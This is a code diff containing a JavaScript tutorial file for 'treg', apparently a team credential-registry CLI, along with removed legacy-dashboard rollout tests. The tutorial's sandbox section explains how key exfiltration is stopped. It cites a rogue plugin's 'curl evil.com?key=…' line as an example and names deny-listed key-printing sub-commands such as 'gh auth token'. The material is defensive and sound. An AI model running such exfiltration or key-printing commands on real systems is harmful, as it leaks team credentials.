notice: "A private folder goes first on your <code>PATH</code> with one small wrapper (\"shim\") per registered CLI. The credential is <b>not</b> in this shell's environment - it is fetched per command, and exists only inside the one subprocess treg spawns." },
|
||||
|
||||
{ part: "Part 2 · Shell mode", who: "you", title: "Use a team CLI - no `treg run`",
|
||||
explain: "At the <code>(treg)</code> prompt, run a registered CLI by its normal name. The shell finds treg's shim first on <code>PATH</code> and routes the command through treg.",
|
||||
cmd: `gh --version`,
|
||||
out: `▸ gh · audit #59\ngh version 2.72.0 (2025-04-30)\nhttps://github.com/cli/cli/releases/tag/v2.72.0`,
|
||||
notice: "You typed <code>gh</code>, not <code>treg run gh</code> - and still got the audit line. Everything after the program name goes to the CLI verbatim, and its exit code is yours." },
|
||||
|
||||
{ part: "Part 2 · Shell mode", who: "you", title: "Non-team commands are untouched",
|
||||
explain: "An unregistered command has no shim, so the shell resolves the real program normally. Shell mode only touches the CLIs your team registered.",
|
||||
cmd: `git --version`,
|
||||
out: `git version 2.39.5 (Apple Git-154)`,
|
||||
notice: "No <code>▸ … audit</code> line - <code>git</code> ran normally. Tab-completion is also untouched: pressing Tab after <code>gh</code> runs gh's internal completion directly, so it does <b>not</b> create an audit row per keystroke." },
|
||||
|
||||
{ part: "Part 2 · Shell mode", who: "you", title: "Leave - everything reverts",
|
||||
explain: "<code>exit</code> (or Ctrl-D, or closing the terminal) tears the session down: the shim folder is removed and your <code>PATH</code> returns to normal.",
|
||||
cmd: `exit\nwhich gh`,
|
||||
out: `▚ treg shell closed.\n/opt/homebrew/bin/gh`,
|
||||
notice: "<code>which gh</code> points at the real binary again. Nothing is left behind." },
|
||||
|
||||
{ part: "Part 2 · Shell mode", who: "you", title: "Route one CLI to the server; set a time limit",
|
||||
explain: "<code>--server-for <tools></code> makes those CLIs run <b>on the registry</b> (the key never touches your machine); <code>--ttl <minutes></code> closes the shell automatically.",
|
||||
cmd: `treg shell start --server-for stripe --ttl 60\n# inside the shell:\nstripe --version # runs on the server; output streamed back\nexit\ntreg runs --limit 1`,
|
||||
out: `[\n { "tool": "stripe", "argv": ["--version"], "exit_code": 0, "duration_ms": 92, "where": "server" }\n]`,
|
||||
notice: "<code>stripe</code> is marked <code>(server)</code> in the banner and its run is logged with <code>\"where\": \"server\"</code> - it executed on the registry, not your laptop." },
|
||||
|
||||
// ---- The local-run security sandbox ------------------------------------
|
||||
{ part: "Part 3 · The security sandbox", who: "sys", title: "Set it up (once, as admin)",
|
||||
explain: "A local run puts a shared team key on a member's machine for the length of one command. That is only safe if the member cannot capture the key. <code>sudo treg setup-local-run</code> (Linux and macOS) builds a sandbox with three layers.",
|
||||
cmd: `sudo treg setup-local-run`,
|
||||
out: `created hidden system user 'treg-run' (uid 380)\ninstalled runner at /usr/local/bin/treg-runner\ninstalled sudoers rule for member 'you'\n egress: pf allow-list active — treg-run may reach 95 host(s), all else dropped\n\ndone — you can now run: treg run <tool> -- <args> (the CLI runs as treg-run)`,
|
||||
notice: "It creates a dedicated no-login user <code>treg-run</code>, a narrow rule that lets you run <b>only</b> the treg runner as that user, and a network allow-list. From now on a local run executes as <code>treg-run</code>, not as you." },
|
||||
|
||||
{ part: "Part 3 · The security sandbox", who: "you", title: "Layer 1 - isolation (you can't read the key)",
|
||||
explain: "The CLI runs as <code>treg-run</code>, a different user id - a different user's process environment and memory are unreadable by you. To see it directly, run a tiny tool whose program is <code>id</code>.",
|
||||
cmd: `treg run idtool`,
|
||||
out: `▸ idtool · audit #52\nuid=380(treg-run) gid=380(treg-run) groups=380(treg-run)…`,
|
||||
notice: "The command ran as <b>uid=380(treg-run)</b>, not as you. One requirement: treg itself must be installed at a system path (e.g. <code>/usr/local/bin</code>) - treg-run, by design, cannot read into your private home directory." },
|
||||
|
||||
{ part: "Part 3 · The security sandbox", who: "you", title: "Layer 2 - egress allow-list",
|
||||
explain: "Even isolated, a CLI feature that runs code could try to send the key to another site. The sandbox restricts <code>treg-run</code>'s outbound network to the registry plus the tool API hosts in the catalog.",
|
||||
cmd: `sudo -u treg-run curl -s -o /dev/null -w "%{http_code}\\n" https://api.github.com/zen # a catalog host\nsudo -u treg-run curl -s -o /dev/null -w "%{http_code}\\n" https://example.com # anything else`,
|
||||
out: `200\n000`,
|
||||
notice: "<code>treg-run</code> reached <code>api.github.com</code> (200) but was blocked from <code>example.com</code> (000) - so a rogue plugin's <code>curl evil.com?key=…</code> delivers nothing. API IPs drift: refresh with <code>sudo treg setup-local-run --refresh-egress</code>." },
|
||||
|
||||
{ part: "Part 3 · The security sandbox", who: "you", title: "Layer 3 - filesystem jail",
|
||||
explain: "The last escape route is writing the key to a file you then read. The opt-in <code>--fs-jail</code> confines a run's writes to a private scratch folder only <code>treg-run</code> can read, removed after the run.",
|
||||
cmd: `treg run --fs-jail writetool -- /tmp/leak # writetool's program is \`touch\`\nls /tmp/leak`,
|
||||
out: `touch: /tmp/leak: Operation not permitted\nls: /tmp/leak: No such file or directory`,
|
||||
notice: "The write was denied and no file was created. <code>--fs-jail</code> is opt-in because it also stops a CLI writing legitimate output files - turn it on where that trade is worth it." },
|
||||
|
||||
{ part: "Part 3 · The security sandbox", who: "sys", title: "Two more built-in protections",
|
||||
explain: "Always on, no setup: <b>output redaction</b> - when you run a tool whose key you don't own, treg scrubs the key's value out of the CLI's output before it reaches your screen (<code>***</code> instead). And <b>catalog deny rules</b> - catalog CLIs refuse the sub-commands that would print the key or run arbitrary code with it (<code>gh extension</code>, <code>gh auth token</code>, <code>doppler run</code>, …), enforced on the server.",
|
||||
cmd: `treg tool update stripe --local-run on # each owner opts local runs in, per tool`,
|
||||
out: `{\n "id": 4,\n "name": "stripe",\n "local_run": true\n}`,
|
||||
notice: "Local runs are <b>off by default</b> per tool - a run hands a credential to a machine, so the owner opts in. Prose version of this whole tutorial: <code>/tutorial-import-shell.md</code>." },
|
||||
];
|
||||
|
||||
// ---- Focused tutorial: Team access control ------------------------------
|
||||
// Prose twin: src/treg/web/tutorial-access.md (served at /tutorial-access.md).
|
||||
const ACCESS = [
|
||||
{ part: "Setup", who: "sys", title: "Two dials, two people",
|
||||
explain: "Every member has two independent dials: <b>tool access</b> (<code>tool_access</code>: which tools they may touch - default <b>all</b>) and <b>local execution</b> (<code>local_run_enabled</code>: may they run a CLI on their own machine - default <b>on</b>). A withheld tool is closed through <i>every</i> door - proxy call, server run, local run. The <b>owner</b> is never restricted. We play two people on one machine: <b>Tom</b> (owner) and <b>Sam</b> (the new teammate we restrict).",
|
||||
cmd: `for u in tom sam; do\n mkdir -p ~/.treg-personas/$u\n HOME=~/.treg-personas/$u treg config --base-url https://treg.to\ndone`,
|
||||
out: `# each persona now points at the registry`,
|
||||
notice: "Prefix a command with <code>HOME=~/.treg-personas/<name></code> to act as that person. In real life each person is on their own machine and drops the prefix." },
|
||||
|
||||
{ part: "Part 1 · Invite with tailored access", who: "tom", title: "Invite Sam - one tool, no local runs",
|
||||
explain: "Tom invites Sam but grants access to <b>only</b> the <code>gh</code> tool and turns <b>local runs off</b>. The access travels with the invite and lands on Sam's membership the moment he accepts.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org invite sam@superdesign.dev --tools gh --local-run off`,
|
||||
out: `{\n "code": "<one-time-invite-code>",\n "email": "sam@superdesign.dev",\n "role": "member",\n "org_id": 44,\n "expires_at": "2026-07-21T…"\n}`,
|
||||
notice: "<code>--tools gh</code> is the allow-list (comma-separated for several); <code>--local-run off</code> means server-only. <code>--all-tools</code> grants everything explicitly." },
|
||||
|
||||
{ part: "Part 1 · Invite with tailored access", who: "tom", title: "(Alternative) let treg ask",
|
||||
explain: "Run the invite <b>without</b> the access flags and treg asks interactively - \"give access to all tools?\" - and, on no, shows a checklist of every tool (all pre-ticked) to uncheck the ones to withhold.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org invite sam@superdesign.dev`,
|
||||
out: `Give access to all 10 tools? [Y/n]: n\n? Tools this member may use (↑↓ move, space toggle, enter confirm)\n ◉ gh\n ◯ stripe\n ◉ gcloud\n …`,
|
||||
notice: "The checklist is the same idea as the dashboard's \"Customize\" (last step). Tick <i>every</i> tool and it collapses back to \"all\", so the member keeps auto-getting new tools." },
|
||||
|
||||
{ part: "Part 1 · Invite with tailored access", who: "sam", title: "Sam accepts",
|
||||
explain: "Sam proves his email (any door), then accepts. His membership is created <b>carrying</b> the access from the invite: only <code>gh</code>, no local runs.",
|
||||
cmd: `HOME=~/.treg-personas/sam treg login --email sam@superdesign.dev\nHOME=~/.treg-personas/sam treg accept superdesign`,
|
||||
out: `{\n "org": "superdesign",\n "org_id": 44,\n "name": "Superdesign",\n "role": "member"\n}`,
|
||||
notice: "Sam is a <b>member</b> - but a <i>restricted</i> one. The next part shows the walls." },
|
||||
|
||||
{ part: "Part 2 · The walls", who: "sam", title: "An allowed tool works",
|
||||
explain: "<code>gh</code> is on Sam's list, so calling it through the proxy is fine - the key is injected server-side; nothing lands on Sam's machine.",
|
||||
cmd: `HOME=~/.treg-personas/sam treg call gh zen`,
|
||||
out: `Keep it logically awesome.`,
|
||||
notice: "No error - Sam has access to <code>gh</code>, so the proxy serves the call normally." },
|
||||
|
||||
{ part: "Part 2 · The walls", who: "sam", title: "A withheld tool is blocked",
|
||||
explain: "<code>stripe</code> is <b>not</b> on Sam's list. Every door to it is closed - here, the proxy.",
|
||||
cmd: `HOME=~/.treg-personas/sam treg call stripe v1/balance`,
|
||||
out: `{\n "detail": "you don't have access to the tool 'stripe' in this team — an admin can grant it (dashboard → Team, or \`treg org access <you> --tools …\`)"\n}`,
|
||||
notice: "The message tells Sam exactly how to get access. <code>treg run stripe</code> and <code>treg run --server stripe</code> are refused the same way - no side path." },
|
||||
|
||||
{ part: "Part 2 · The walls", who: "sam", title: "Local execution is off",
|
||||
explain: "<code>gh</code> is allowed, but Sam's <code>local_run_enabled</code> is <b>off</b>, so he cannot run it on his own machine. treg points him at the server tier instead.",
|
||||
cmd: `HOME=~/.treg-personas/sam treg run gh -- --version`,
|
||||
out: `treg: local execution is disabled for you — run on the server instead (\`treg run --server\`), or ask an admin to enable local runs for your account`,
|
||||
notice: "This is the <i>local</i> wall, separate from tool access - <code>treg run --server gh …</code> (the key stays on the registry) is allowed." },
|
||||
|
||||
{ part: "Part 2 · The walls", who: "sam", title: "A member can't manage the team",
|
||||
explain: "Access control is an admin power. Sam (a member) cannot list or change anyone's access.",
|
||||
cmd: `HOME=~/.treg-personas/sam treg org members`,
|
||||
out: `{\n "detail": "admin role in this org is required"\n}`,
|
||||
notice: "Only admins and the owner see the roster and edit access. Sam can only be <i>given</i> access, not grant it." },
|
||||
|
||||
{ part: "Part 3 · Adjust later", who: "tom", title: "See everyone's access",
|
||||
explain: "The members list shows each person's <code>tool_access</code> (their allow-list, or <code>null</code> = all) and <code>local_run_enabled</code>.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org members`,
|
||||
out: `[\n {\n "user_id": 60,\n "email": "tom@superdesign.dev",\n "role": "owner",\n "tool_access": null,\n "local_run_enabled": true\n },\n {\n "user_id": 63,\n "email": "sam@superdesign.dev",\n "role": "member",\n "tool_access": ["gh"],\n "local_run_enabled": false\n }\n]`,
|
||||
notice: "Tom (owner) is <code>\"tool_access\": null</code> - all tools, always. Sam is <code>[\"gh\"]</code> with local off, exactly as invited." },
|
||||
|
||||
{ part: "Part 3 · Adjust later", who: "tom", title: "Widen Sam's access",
|
||||
explain: "Tom gives Sam <b>all</b> tools and turns local runs <b>on</b>, using Sam's <code>user_id</code> from the list.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org access 63 --all-tools --local-run on`,
|
||||
out: `{\n "user_id": 63,\n "org_id": 44,\n "tool_access": null,\n "local_run_enabled": true\n}`,
|
||||
notice: "<code>--all-tools</code> clears the list (<code>null</code> = all). A flag you <i>don't</i> pass keeps its current value - so <code>--local-run off</code> alone flips only the local dial." },
|
||||
|
||||
{ part: "Part 3 · Adjust later", who: "sam", title: "Sam tries again - everything works",
|
||||
explain: "The same two commands that failed before now pass: <code>stripe</code> is reachable (all tools) and <code>gh</code> runs locally (local is on).",
|
||||
cmd: `HOME=~/.treg-personas/sam treg call stripe v1/balance\nHOME=~/.treg-personas/sam treg run gh -- --version`,
|
||||
out: `{ "object": "balance", "available": [ … ] }\n▸ gh · audit #58\ngh version 2.72.0 (2025-04-30)`,
|
||||
notice: "The same two dials, opened up. Tom can pin Sam to an exact set again any time: <code>treg org access 63 --tools gh,gcloud</code>. An unknown tool name is rejected with a clear 422 - you never grant a typo." },
|
||||
|
||||
{ part: "Part 4 · Dashboard & API", who: "tom", title: "The same controls, point-and-click",
|
||||
explain: "Everything above is also in the dashboard → <b>Team</b>. The members table gains two cells per person - <b>Tools</b> (shows <code>All</code> or <code>N tools</code>; click for the checklist) and a <b>Local run</b> toggle. The invite box offers <b>All tools / Customize</b> + a <b>Local runs allowed</b> switch. And when you register a <i>new</i> tool while someone has a customized list, a toast reminds you they won't see it until you add it.",
|
||||
cmd: `# agents / CI drive the same two endpoints:\nPATCH /orgs/{org_id}/members/{user_id}/access\n { "tool_access": ["gh","stripe"] | null, "local_run_enabled": true }\nGET /orgs/{org_id}/members # returns both fields per member`,
|
||||
out: `{\n "user_id": 63,\n "tool_access": ["gh", "stripe"],\n "local_run_enabled": true\n}`,
|
||||
notice: "<code>null</code> = all tools; a list = the allow-list (validated - unknown names → 422; all tools collapses to <code>null</code>). Admin/owner only; an owner cannot be restricted. Prose version: <code>/tutorial-access.md</code>." },
|
||||
];
|
||||
|
||||
// ---- tiny self-contained highlighter (shell + json) -------------------
|
||||
const RULES = {
|
||||
shell: [
|
||||
{ re: /#[^\n]*/, cls: "comment" },
|
||||
{ re: /"(?:[^"\\]|\\.)*"/, cls: "string" },
|
||||
{ re: /'[^']*'/, cls: "string" },
|
||||
{ re: /\$\((?:[^()]*)\)/, cls: "var" },
|
||||
{ re: /\$[A-Za-z_][A-Za-z0-9_]*/, cls: "var" },
|
||||
{ re: /HOME=\S+/, cls: "env" },
|
||||
{ re: /\btreg\b/, cls: "cmd" },
|
||||
{ re: /(?:^|\s)--?[A-Za-z][\w-]*/, cls: "flag" },
|
||||
],
|
||||
json: [
|
||||
{ re: /"(?:[^"\\]|\\.)*"(?=\s*:)/, cls: "key" },
|
||||
{ re: /"(?:[^"\\]|\\.)*"/, cls: "str" },
|
||||
{ re: /\b-?\d+(?:\.\d+)?\b/, cls: "num" },
|
||||
{ re: /\b(?:true|false|null)\b/, cls: "kw" },
|
||||
{ re: /#[^\n]*/, cls: "comment" },
|
||||
{ re: /[{}\[\],:]/, cls: "punct" },
|
||||
],
|
||||
};
|
||||
function esc(t) { return t.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); }
|
||||
function tregHL(text, lang) {
|
||||
const rules = RULES[lang];
|
||||
if (!rules) return esc(text);
|
||||
const combined = new RegExp(rules.map(r => "(" + r.re.source + ")").join("|"), "g");
|
||||
let out = "", i = 0, m;
|
||||
while ((m = combined.exec(text))) {
|
||||
if (m.index > i) out += esc(text.slice(i, m.index));
|
||||
let cls = null;
|
||||
for (let k = 0; k < rules.length; k++) { if (m[k + 1] !== undefined) { cls = rules[k].cls; break; } }
|
||||
out += `<span class="hl-${cls}">${esc(m[0])}</span>`;
|
||||
i = combined.lastIndex;
|
||||
if (combined.lastIndex === m.index) combined.lastIndex++; // guard zero-width
|
||||
}
|
||||
out += esc(text.slice(i));
|
||||
return out;
|
||||
}
|
||||
// pick a language for an output block (json if it looks structured, else plain shell-ish)
|
||||
function tregLang(text, kind) { return kind === "cmd" ? "shell" : (/^\s*[[{]/.test(text) ? "json" : "text"); }
|
||||
|
||||
const AUTH = [
|
||||
{ h: "env - a static key or token",
|
||||
p: `The common case: an API key or bearer token. treg injects it via the binding's <b>format</b> - e.g. <code>Authorization: Bearer {secret}</code> in a header, or <code>?api_key={secret}</code> in the query string. Set it with <span class="mono">treg secret add stripe-key --value sk-…</span>, then bind it on a tool.` },
|
||||
{ h: "oauth - auto-refreshed tokens",
|
||||
p: `For OAuth APIs (Google, GitHub…). Store the token blob (access + refresh + client id/secret); treg <b>auto-refreshes</b> the access token ~60s before it expires - single-flight, so a burst of calls triggers exactly one refresh - so your calls never hit a 401. Mint the first token via the hosted browser-consent flow: <span class="mono">treg oauth connect <name> --client-secret … --scopes …</span>. The refresh_token comes back and the credential lands in auto-refresh mode.` },
|
||||
{ h: "secret_file - a JSON credential",
|
||||
p: `When the credential is a JSON file (a service-account, an authorized-user file…). treg pulls one field out of the blob (<span class="mono">secret_field</span>, default <code>access_token</code>) and injects it. Set it with <span class="mono">treg secret add gcp --file cred.json --kind secret_file</span>.` },
|
||||
{ h: "cli_auth - from a local CLI / keychain",
|
||||
p: `A credential you'd normally get from a CLI login or the OS keychain - captured once during skill setup, then stored + injected like the rest, so a tool that usually needs a local login works through the proxy for the whole team.` },
|
||||
{ h: "Bindings - where & how it lands",
|
||||
p: `Every binding is <code>{ location, name, format, secret_field }</code>. <b>location</b>: <code>header</code> or <code>query</code>. <b>name</b>: the header (<code>Authorization</code>) or param (<code>api_key</code>). <b>format</b>: <code>Bearer {secret}</code>, <code>token {secret}</code>, or bare <code>{secret}</code>. A tool can carry <b>several</b> bindings (e.g. an OAuth bearer + a developer-token header) - treg applies every one on each call.` },
|
||||
];
|
||||
const SKILLS = [
|
||||
{ h: "What a skill is",
|
||||
p: `A reusable capability packaged as a folder - its <b>recipe</b>, its <b>secrets</b> and its <b>tool(s)</b> - registered as one <b>bundle</b> (and deleted as one). It's how you hand a teammate, or a <b>Claude Code</b> agent, a ready-to-call API with zero key-sharing.` },
|
||||
{ h: "The folder layout",
|
||||
p: `<pre>my-skill/\n SKILL.md what it does - the recipe / how-to\n .secret/ credential files (values live here; gitignore it)\n treg.json the contract - REFERENCES, never values</pre>` },
|
||||
{ h: "treg.json - the contract",
|
||||
p: `<pre>{ "name": "my-skill",\n "secrets": [{ "local_name": "key", "kind": "env" }],\n "tools": [{ "name": "my-tool", "base_url": "https://api.x.com",\n "bindings": [{ "secret": "key", "location": "header",\n "name": "Authorization",\n "format": "Bearer {secret}" }] }] }</pre>Only <code>local_name</code> references - no values. The CLI loads the real values from <span class="mono">.secret/</span> at upload.` },
|
||||
{ h: "Register it",
|
||||
p: `<span class="mono">treg skill init --dir ./my-skill</span> scans <code>SKILL.md</code> + <code>.secret/</code> and drafts <code>treg.json</code> (guessing <code>base_url</code>, finding the secrets). Review it, then <span class="mono">treg skill add --dir ./my-skill</span> uploads recipe + secrets + tool <b>atomically</b>.` },
|
||||
{ h: "Make it better - practices",
|
||||
p: `• One tool per real upstream; add a <b>health_check</b> so treg can validate the creds.<br>• Name secrets by purpose (<code>stripe-key</code>, not <code>key1</code>).<br>• Keep <span class="mono">.secret/</span> gitignored; commit <span class="mono">treg.json</span> (it's reference-only).<br>• Write a real SKILL.md - it's what a teammate or agent reads to use the tool.<br>• Prefer <b>oauth</b> over long-lived keys where the API supports it (auto-refresh + revocable).` },
|
||||
];
|
||||
window.TREG_TUTORIAL = { personas: PERSONAS, concepts: CONCEPTS, roles: ROLES, auth: AUTH, skills: SKILLS, steps: STEPS,
|
||||
importShell: IMPORT_SHELL, access: ACCESS };
|
||||
window.tregHL = tregHL;
|
||||
window.tregLang = tregLang;
|
||||
})();
|
||||
File diff suppressed because it is too large
Load Diff
Vendored
+2
-2
@@ -1,7 +1,7 @@
|
||||
# Package-generated browser runtime
|
||||
|
||||
Vue is installed from `frontend/package-lock.json`. `frontend/scripts/copy-runtime.mjs` copies
|
||||
its global production build and license for Enrich Arena and the frozen legacy Dashboard.
|
||||
its global production build and license for Enrich Arena.
|
||||
The maintained Dashboard imports the same npm package through Vite.
|
||||
|
||||
Generated JavaScript and licenses are ignored by Git and included in Python distributions by
|
||||
@@ -11,4 +11,4 @@ Do not download or commit library builds here.
|
||||
Standalone pages retain their versioned, same-origin URLs: a blocked CDN previously caused blank
|
||||
signed-in dashboards ([#137](https://github.com/superdesigndev/treg/issues/137)). The copy step checks
|
||||
that page URLs match the installed Vue version, so a dependency upgrade cannot silently leave
|
||||
missing runtime URLs. Retire the legacy copy with the deprecated Dashboard.
|
||||
missing runtime URLs.
|
||||
|
||||
@@ -475,15 +475,6 @@
|
||||
"name": "landing",
|
||||
"path": "/"
|
||||
},
|
||||
{
|
||||
"kind": "APIRoute",
|
||||
"methods": [
|
||||
"GET",
|
||||
"HEAD"
|
||||
],
|
||||
"name": "legacy_dashboard_asset",
|
||||
"path": "/app/legacy/assets/{path:path}"
|
||||
},
|
||||
{
|
||||
"kind": "APIRoute",
|
||||
"methods": [
|
||||
|
||||
@@ -149,15 +149,10 @@ async def test_refuses_empty_unconfigured_and_over_the_limit(clients, monkeypatc
|
||||
assert r.status_code == 429
|
||||
|
||||
|
||||
async def test_search_page_is_served_to_signed_out_visitors(clients, monkeypatch):
|
||||
s = get_settings()
|
||||
async def test_search_page_is_served_to_signed_out_visitors(clients):
|
||||
clients.headers.pop("X-Treg-Token", None)
|
||||
clients.cookies.clear()
|
||||
monkeypatch.setattr(s, "dashboard_rollout_enabled", True)
|
||||
monkeypatch.setattr(s, "dashboard_rollout_percent", 0)
|
||||
r = await clients.get("/search")
|
||||
assert r.status_code == 200 and "/app/legacy/assets/" not in r.text
|
||||
monkeypatch.setattr(s, "dashboard_rollout_enabled", False)
|
||||
assert (await clients.get("/search")).status_code == 404
|
||||
assert r.status_code == 200 and "/app/ui/assets/" in r.text
|
||||
# `find` is reserved: it is the JSON route, never a platform shelf
|
||||
assert (await clients.get("/catalog/find")).status_code == 400
|
||||
|
||||
@@ -9,20 +9,34 @@ from treg import api
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
async def new_dashboard(clients, monkeypatch):
|
||||
from treg.config import get_settings
|
||||
async def new_dashboard(clients):
|
||||
from treg.infra.db import session_maker
|
||||
from treg.models import User
|
||||
from treg.domain.identity import session
|
||||
from sqlmodel import select
|
||||
monkeypatch.setattr(get_settings(), 'dashboard_rollout_enabled', True)
|
||||
monkeypatch.setattr(get_settings(), 'dashboard_rollout_percent', 100)
|
||||
async with session_maker() as db:
|
||||
user = (await db.execute(select(User).where(User.email == 'tim@superdesign.dev'))).scalar_one()
|
||||
clients.cookies.set(session.COOKIE, session.make_session(user.id, token_version=user.token_version))
|
||||
return clients
|
||||
|
||||
|
||||
async def test_every_entry_serves_the_compiled_app_to_every_visitor(new_dashboard):
|
||||
"""Signed in, signed out or with a forged session, every Dashboard entry is the one compiled app,
|
||||
never cached across visitors."""
|
||||
clients = new_dashboard
|
||||
paths = ['/app', '/app/tools/shared', '/app/skills/shared', '/catalog', '/catalog/google', '/search']
|
||||
signed_in = dict(clients.cookies)
|
||||
for cookies in (signed_in, {}, {'treg_session': 'forged'}):
|
||||
clients.cookies.clear()
|
||||
clients.cookies.update(cookies)
|
||||
for path in paths:
|
||||
page = await clients.get(path)
|
||||
assert page.status_code == 200, path
|
||||
assert '/app/ui/assets/' in page.text, path
|
||||
assert page.headers['cache-control'] == 'private, no-store', path
|
||||
assert page.headers['vary'] == 'Cookie', path
|
||||
|
||||
|
||||
async def test_dashboard_redesign_assets_are_served_from_the_same_origin(new_dashboard):
|
||||
clients = new_dashboard
|
||||
page = await clients.get('/app')
|
||||
|
||||
@@ -1,119 +0,0 @@
|
||||
"""Browser identities receive one frontend across dashboard, catalog and shared URLs."""
|
||||
|
||||
from sqlmodel import select
|
||||
|
||||
from treg.config import get_settings
|
||||
from treg.domain.identity import session
|
||||
from treg.infra.db import session_maker
|
||||
from treg.models import User
|
||||
from treg.routers.web import _new_dashboard
|
||||
|
||||
|
||||
async def identities():
|
||||
async with session_maker() as db:
|
||||
first = (await db.execute(select(User).where(User.email == 'tim@superdesign.dev'))).scalar_one()
|
||||
second = User(email='rollout-other@example.com')
|
||||
db.add(second)
|
||||
await db.commit()
|
||||
await db.refresh(second)
|
||||
return first, second
|
||||
|
||||
|
||||
def assert_version(response, new):
|
||||
assert response.status_code == 200
|
||||
assert ('/app/ui/assets/' in response.text) is new
|
||||
assert ('/app/legacy/assets/' in response.text) is not new
|
||||
assert response.headers['cache-control'] == 'private, no-store'
|
||||
assert response.headers['vary'] == 'Cookie'
|
||||
|
||||
|
||||
async def test_rollout_uses_verified_account_across_all_entrypoints(clients, monkeypatch):
|
||||
first, second = await identities()
|
||||
settings = get_settings()
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_enabled', True)
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_percent', 0)
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_user_ids', {first.id})
|
||||
paths = ['/app', '/app/tools/shared', '/app/skills/shared', '/catalog', '/catalog/google']
|
||||
for user, new in [(first, True), (second, False), (None, False)]:
|
||||
clients.cookies.clear()
|
||||
if user:
|
||||
clients.cookies.set(session.COOKIE, session.make_session(user.id, token_version=user.token_version))
|
||||
for path in paths:
|
||||
assert_version(await clients.get(path), new)
|
||||
# Neither a query override nor a forged session chooses a frontend.
|
||||
clients.cookies.set(session.COOKIE, 'forged')
|
||||
assert_version(await clients.get('/app?dashboard=new'), False)
|
||||
clients.cookies.set(session.COOKIE, session.make_session(first.id, token_version=first.token_version))
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_enabled', False)
|
||||
for path in paths:
|
||||
assert_version(await clients.get(path), False)
|
||||
|
||||
|
||||
def test_rollout_buckets_are_stable_monotonic_and_account_based(monkeypatch):
|
||||
settings = get_settings()
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_enabled', True)
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_user_ids', set())
|
||||
users = [User(id=i, email=f'{i}@example.com') for i in range(1, 501)]
|
||||
cohorts = []
|
||||
for percent in [0, 10, 50, 100]:
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_percent', percent)
|
||||
cohort = {u.id for u in users if _new_dashboard(u)}
|
||||
assert cohort == {u.id for u in users if _new_dashboard(User(id=u.id, email='changed@example.com'))}
|
||||
cohorts.append(cohort)
|
||||
assert cohorts[0] == set()
|
||||
assert 0 < len(cohorts[1]) < len(cohorts[2]) < len(cohorts[3]) == 500
|
||||
assert cohorts[1] < cohorts[2] < cohorts[3]
|
||||
|
||||
|
||||
async def test_anonymous_visitors_follow_only_the_full_rollout(clients, monkeypatch):
|
||||
"""No account means no bucket: signed-out entries move to the new frontend at 100% only, and
|
||||
move back when the percentage drops or the rollout is switched off."""
|
||||
settings = get_settings()
|
||||
paths = ['/app', '/app/tools/shared', '/app/skills/shared', '/catalog', '/catalog/google']
|
||||
for enabled, percent, new in [(True, 99, False), (True, 100, True), (False, 100, False)]:
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_enabled', enabled)
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_percent', percent)
|
||||
assert _new_dashboard(None) is new
|
||||
clients.cookies.clear()
|
||||
for path in paths:
|
||||
assert_version(await clients.get(path), new)
|
||||
|
||||
|
||||
async def test_revoked_session_cannot_enter_allowlisted_frontend(clients, monkeypatch):
|
||||
first, _ = await identities()
|
||||
settings = get_settings()
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_enabled', True)
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_user_ids', {first.id})
|
||||
clients.cookies.set(session.COOKIE, session.make_session(first.id, token_version=first.token_version))
|
||||
async with session_maker() as db:
|
||||
user = await db.get(User, first.id)
|
||||
user.token_version += 1
|
||||
await db.commit()
|
||||
assert_version(await clients.get('/app'), False)
|
||||
|
||||
|
||||
def test_rollout_policy_changes_refresh_stamp(monkeypatch):
|
||||
from treg.api import _app_version
|
||||
settings = get_settings()
|
||||
before = _app_version()
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_enabled', not settings.dashboard_rollout_enabled)
|
||||
assert _app_version() != before
|
||||
|
||||
|
||||
async def test_signed_in_entries_record_the_served_frontend(clients, monkeypatch, posthog_events):
|
||||
first, second = await identities()
|
||||
settings = get_settings()
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_enabled', True)
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_percent', 0)
|
||||
monkeypatch.setattr(settings, 'dashboard_rollout_user_ids', {first.id})
|
||||
for user in (first, second):
|
||||
clients.cookies.set(session.COOKIE, session.make_session(user.id, token_version=user.token_version))
|
||||
await clients.get('/app')
|
||||
clients.cookies.clear()
|
||||
await clients.get('/app')
|
||||
events = await posthog_events('dashboard_served')
|
||||
assert [(e['distinct_id'], e['properties']['variant'], e['properties']['assignment']) for e in events] == [
|
||||
(first.email, 'new', 'allowlist'), (second.email, 'legacy', 'bucket')]
|
||||
assert events[1]['properties']['$set'] == {
|
||||
'dashboard_variant': 'legacy', 'dashboard_bucket': events[1]['properties']['bucket']}
|
||||
assert events[1]['properties']['rollout_percent'] == 0
|
||||
Reference in New Issue
Block a user